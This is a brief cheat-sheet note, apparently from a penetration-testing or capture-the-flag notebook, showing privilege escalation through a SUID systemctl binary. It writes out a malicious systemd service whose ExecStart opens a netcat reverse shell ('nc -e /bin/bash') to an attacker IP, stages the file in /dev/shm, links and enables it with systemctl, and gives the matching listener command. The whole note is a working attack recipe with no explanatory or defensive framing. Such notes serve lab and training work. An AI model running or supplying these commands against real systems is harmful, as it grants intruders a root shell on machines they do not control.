systemctl SUID

systemctl SUID

• nano root.service

  <aside> 👨‍💻 [Service] Type=oneshot ExecStart=/bin/bash -c 'nc -nv 10.10.14.9 123 -e /bin/bash' [Install] WantedBy=multi-user.target

  </aside>

• Transfer to victim in dir /dev/shm

• systemctl link /dev/shm/root.service

• nc -nvlp 123

• systemctl enable --now /dev/shm/root.service